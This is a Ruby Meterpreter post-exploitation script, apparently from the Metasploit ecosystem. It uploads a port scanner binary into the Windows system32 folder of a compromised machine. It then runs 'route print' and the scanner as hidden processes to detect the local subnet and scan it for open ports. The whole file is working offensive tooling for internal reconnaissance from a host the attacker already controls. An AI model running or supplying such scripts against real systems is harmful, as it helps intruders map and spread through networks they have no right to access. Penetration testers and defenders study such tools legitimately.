#!/usr/bin/env ruby
require 'ftools'
############################################################
#     This is an Meterpreter script to do a portscanning of# 
#the same network where the controled computer is          #
#using a portscanner called sl.exe                         #
#                                                          #
############################################################
#  If netmask isn't 255.255.255.0 it must work any way#
############################################################
#  Tested in Win2003 and WinXP          #
############################################################
#  Created by Augusto Pereyra aepereyra(at)gmail.com  # 
############################################################


################## Variable Declarations ##################
@@exec_opts = Rex::Parser::Arguments.new(
  "-h"  => [ false,  "Help menu."],
  "-r"  => [ true,  "To set the range manualy"],
  "-a"  => [ false,  "For automatic lan detection and port scan"]
)


#####################################################################################
#Function for upload the port scanner################################################
#####################################################################################
def uploadtool ()
print_status("Uploading Portscanner")
#Here you can set the path where sl.exe is in owr system and Where will be wher run this tool
#sl.exe was created by foundstone
client.fs.file.upload_file("%windir%\\system32\\sl.exe", "/pentest/windows-binaries/scanners/sl.exe")
end


#####################################################################################
#Function for network autodetection##################################################
#####################################################################################
def auto ()
  session1 = client
  cuenta = 0
  l1 = Array.new
  rangoar = Array.new
  res = session1.sys.process.execute("route print", nil, {'Hidden' => true, 'Channelized' => true})
  while(d1 = res.channel.read)
                        d1.each do |line|

                                if line =~ /( 0.0.0.0)/
                                        l1= line.split
                                        res.channel.close
                                end
                        end
  xx= l1[3]
  sxx1 = xx.split(".")
  sxx2 = xx.split(".")
  sxx1[3]='1'
  sxx2[3]='254'
  rango1= sxx1.join(".")
  rango2= sxx2.join(".")
  rangoar[0]=rango1
  rangoar[1]=rango2
  rango= rangoar.join("-")
  return rango
   end
end


############################################################################
#Function for Port Scanning#################################################
############################################################################

def portscan(iprange)
  print_status("Performing portscanning for IP range #{iprange}")

session = client
cuentah = 0
a1 = Array.new
session.response_timeout= 100
res = session.sys.process.execute("sl -q 1000 -s -c 3 #{iprange}", nil, {'Hidden' => true, 'Channelized' => true})
  while(d = res.channel.read)
                        d.each do |line|
                                if line =~ /(Yes)/
                                        a1.insert(cuentah, line)
                                        cuentah = cuentah + 1
                                        res.channel.close
                                 end
                        end
  end
a1.each { |v| puts v}

end
##############################################################################
#This is me###################################################################
##############################################################################
def mysign ()

print ("Created by Augusto Pereyra aepereyra at gmail.com")

end

###############################################################################
####################################  MAIN  ###################################
###############################################################################
# Parsing of Options

range = nil
porsc = nil
@@exec_opts.parse(args) { |opt, idx, val|
  case opt

  when "-a"
    porsc = 2
  when "-r"
    range = val
#  when "-h"
#    print(@@exec_opts.usage)
#    break

   end

}

if range != nil && porsc != 2
     mysign()
  uploadtool()
  portscan(range)
elsif  porsc == 2
        mysign()
  uploadtool()
  range= auto()
  portscan(range)
else
  mysign()
  print( @@exec_opts.usage)
end